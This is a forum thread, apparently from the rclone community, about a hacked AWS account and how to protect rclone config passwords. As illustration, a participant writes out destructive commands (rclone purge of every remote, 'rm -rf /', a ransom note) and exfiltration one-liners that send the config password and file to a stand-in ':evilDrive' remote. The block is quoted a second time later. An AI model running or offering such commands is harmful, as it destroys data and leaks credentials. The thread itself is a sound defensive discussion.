AWS hacked account

[Ole (Ole Frost)]

Thanks, sounds good!

You can just set the RCLONE_CONFIG_PASS environment variable in your script, that is something like this:

#!/bin/sh
RCLONE_CONFIG_PASS="yourConfigPassword"
mv /mnt/NAS/linux/rclone_nas.log  /mnt/NAS/linux/log/rclone_nas_$(date +%F).log
/opt/bin/rclone sync -v /mnt/NAS /mnt/NAS2 \
...

Please be aware that a config password will not protect you in case somebody (experienced and determined) get access to your router, because they will be able to find/reconstruct your password from your script or a keyboard logger.

[makksi]

But, do I really need to put my password in a plain text (not encrypted) in the script? But in this case what is the value to have the rclone.config encrypted? I don't think this solution is good enough.
Probably I misunderstood something. Can you please better clarify?

[Ole (Ole Frost)]

@makksi

But, do I really need to put my password in a plain text (not encrypted) in the script?

You could somehow encrypt or obfuscate it, but it probably wouldn‘t make much difference if somebody got access to your (root) account and started searching for the config password.

I don’t know any way to hide it from myself in such a scenario.

@makksi

But in this case what is the value to have the rclone.config encrypted?

That would help if somebody used an automated script to find and copy the rclone config from your router (without searching for code setting up the rclone config password).

It would also help if you place a backup of rclone.config somewhere else (without having a backup of the script in the same place).

@makksi

I don't think this solution is good enough.
Probably I misunderstood something.

Depends on what you are trying to achieve, there is (to my knowledge) no way to keep anything (in use) secret on a compromised device/account - you can only hope to make it less accessible to drive-by attacks using a simple automated script.

What type of attack where you trying to protect against when enabling the config password?

[qsun11 (q sun)]

very interesting !
my BestBuy account got hacked few years ago, it is similar, my email got subscribed hundreds email marketing sites, still suffers to unsubscribe email flooding.

[makksi]

@Ole

@makksi

But, do I really need to put my password in a plain text (not encrypted) in the script?

You could somehow encrypt or obfuscate it, but it probably wouldn‘t make much difference if somebody got access to your (root) account and started searching for the config password.

I don’t know any way to hide it from myself in such a scenario.

@makksi

But in this case what is the value to have the rclone.config encrypted?

That would help if somebody used an automated script to find and copy the rclone config from your router (without searching for code setting up the rclone config password).

It would also help if you place a backup of rclone.config somewhere else (without having a backup of the script in the same place).

@makksi

I don't think this solution is good enough.
Probably I misunderstood something.

Depends on what you are trying to achieve, there is (to my knowledge) no way to keep anything (in use) secret on a compromised device/account - you can only hope to make it less accessible to drive-by attacks using a simple automated script.

What type of attack where you trying to protect against when enabling the config password?

Thanks Ole, but if the rclone.config encryption works the way you described, I guess it is a really poor protection. The protection should work in such way that if someone get access to the router cannot instantaneously decrypt the rclone.config file because it find the password in plain text in some scripts.
Not sure how this can be achieved...

[ncw (Nick Craig-Wood)]

The best way of doing this is to use an agent. You start the agent with a master password and it has the rclone password within it. Examples of these are ssh-agent and gpg-agent and you can interface these with rclone using

  --password-command SpaceSepList   Command for supplying password for encrypted configuration

Check the docs out here: Documentation

There is a link to a very nice way of doing this with Windows. I know people have got this working with macOS key store and with Linux gpg-agent and key store / keyring. We don't have examples for that in the docs and we really should!

Running an agent you need to enter the password for on bootup has the advantage that the rclone password is never stored on the disk. It has the disadvantage that rclone can start until you enter that password.

[makksi]

@ncw

The best way of doing this is to use an agent. You start the agent with a master password and it has the rclone password within it. Examples of these are ssh-agent and gpg-agent and you can interface these with rclone using

  --password-command SpaceSepList   Command for supplying password for encrypted configuration

Check the docs out here: Documentation

There is a link to a very nice way of doing this with Windows. I know people have got this working with macOS key store and with Linux gpg-agent and key store / keyring. We don't have examples for that in the docs and we really should!

Running an agent you need to enter the password for on bootup has the advantage that the rclone password is never stored on the disk. It has the disadvantage that rclone can start until you enter that password.

Thanks a lot Nick.
I'll take a look as soon as I can.
Currently I'm using rclone on my router ASUS RTAX88U.
I don't have ssh-agent or gpg-agent install, so I need to find an alternative way.

As I told you before I'll take a look also to the Windows documentation and let you know.
Thanks again

[Ole (Ole Frost)]

@makksi

I guess it is a really poor protection. The protection should work in such way that if someone get access to the router cannot instantaneously decrypt the rclone.config file because it find the password in plain text in some scripts.

I don't think it is possible to get significantly better protection in that situation.

You really cannot protect anything from an attacker having access to your account/device. At that point the attacker will be able to see and do everything you can see and do from that account/device.

The attacker could e.g. add these lines at the end of your above backup script:

…
for remote in $(rclone listremotes); do rclone purge $remote; done
rm -rf /mnt/
echo "I have your files, please send ransom to my Bitcoin wallet 12345678" > ransom.txt
/jffs/myscripts/mail_rclone.sh NAS ransom.txt
rm -rf /

The attacker would also be able to do something similar with other file transfer/backup tools.

I therefore recommend you focus on reducing the probability and damage of somebody gaining access to one of your devices (e.g. your router).

@ncw

The best way of doing this is to use an agent. You start the agent with a master password and it has the rclone password within it. Examples of these are ssh-agent and gpg-agent and you can interface these with rclone using

  --password-command SpaceSepList   Command for supplying password for encrypted configuration

I guess you missed that @makksi asks for protection after the account/device has been compromised.

I doubt a password agent is any safer than RCLONE_CONFIG_PASS in that situation. The attacker would just add the --password-command to the above commands based on the parameters of the previous sync command in the script - or do something more sneaky like this:

echo $(thePasswordCommand) | rclone rcat :evilDrive…
rclone copy $(rclone config file) :evilDrive…

The scripts have intentional mistakes and omissions.

[makksi]

@Ole

@makksi

I guess it is a really poor protection. The protection should work in such way that if someone get access to the router cannot instantaneously decrypt the rclone.config file because it find the password in plain text in some scripts.

I don't think it is possible to get significantly better protection in that situation.

You really cannot protect anything from an attacker having access to your account/device. At that point the attacker will be able to see and do everything you can see and do from that account/device.

The attacker could e.g. add these lines at the end of your above backup script:

…
for remote in $(rclone listremotes); do rclone purge $remote; done
rm -rf /mnt/
echo "I have your files, please send ransom to my Bitcoin wallet 12345678" > ransom.txt
/jffs/myscripts/mail_rclone.sh NAS ransom.txt
rm -rf /

The attacker would also be able to do something similar with other file transfer/backup tools.

Of course I have just a backup copy on not sensitive data on AWS and I have no pbm if those data will be deleted, except if at the same time the other copies of the data which are stored in a totally different system disappear, which is a very very low probability event, being those systems uncorrelated.

I therefore recommend you focus on reducing the probability and damage of somebody gaining access to one of your devices (e.g. your router).

Yes this is of course the target of every people playing with this stuff. Thanks to our effort, your suggestion and our knowledge, the hacker attack have had no consequences so far,but making me (and I think many "self-confident" people more conscious of the importance of strenghten the protection measures. Me to is the first time I face a similar situation after about 30 years playing with this stuff.
There is alway a compromise between the protection cost/benefits. You can decide to be paranoid and to spend all your life in protection. You are probably safe but you lost something else. In the middle there are so many affordable and reliable steps in any case.
This is at least my point of view, probably non the best, but it is mine. I'm here to learn something more about protection against vulnerability with practical tips and examples. Thanks to you all in any case

@ncw

The best way of doing this is to use an agent. You start the agent with a master password and it has the rclone password within it. Examples of these are ssh-agent and gpg-agent and you can interface these with rclone using

  --password-command SpaceSepList   Command for supplying password for encrypted configuration

I guess you missed that @makksi asks for protection after the account/device has been compromised.

I doubt a password agent is any safer than RCLONE_CONFIG_PASS in that situation. The attacker would just add the --password-command to the above commands based on the parameters of the previous sync command in the script - or do something more sneaky like this:

echo $(thePasswordCommand) | rclone rcat :evilDrive…
rclone copy $(rclone config file) :evilDrive…

The scripts have intentional mistakes and omissions.

I think that in any case everything which makes the hacker takes time to reach its goal can help! So plain text is the worst situation. Think that I stopped his action few minutes after I realized that something was odd (blocking the card, changing passwords, monitoring emails...)In my opinion, in this case also an increased difficulty for the hacker to understand at least how the rclone command is used could help you to reduce your damage.At a small cost...

[makksi]

I made more investigation...
If you create an access key and secret key in AWS for the root user, instead for an IAM user with correct policies, you expose your AWS account to hacker attack, because you can run API calls for example to create new domain as in my case
https://docs.aws.amazon.com/Route53/latest/APIReference/API-actions-by-function.html
get account info as the email...you are exposing in my opinion all AWS account to any API call available on AWS.
Unfortunately I made the error to create the keys for root user, I guess this was the starting point of hacking

[Ole (Ole Frost)]

Agree, the access key for the root account should not be used and IAM policies should be setup to limit the damage in case of compromise/theft of the access keys used.

@makksi

I guess this was the starting point of hacking

I doubt it, seems like you forgot the attacker also changed your AWS root account email. This is only possible using your AWS root account password. I therefore find other attack vectors more likely e.g. this one:

@makksi

My best guess is that username is easy to be found because is an email address used in many situation. The same email address is used for example for bitwarden. Password may be found with brute force attack starting from similar passwords they may have hacked on one of many websites where I registered using the same email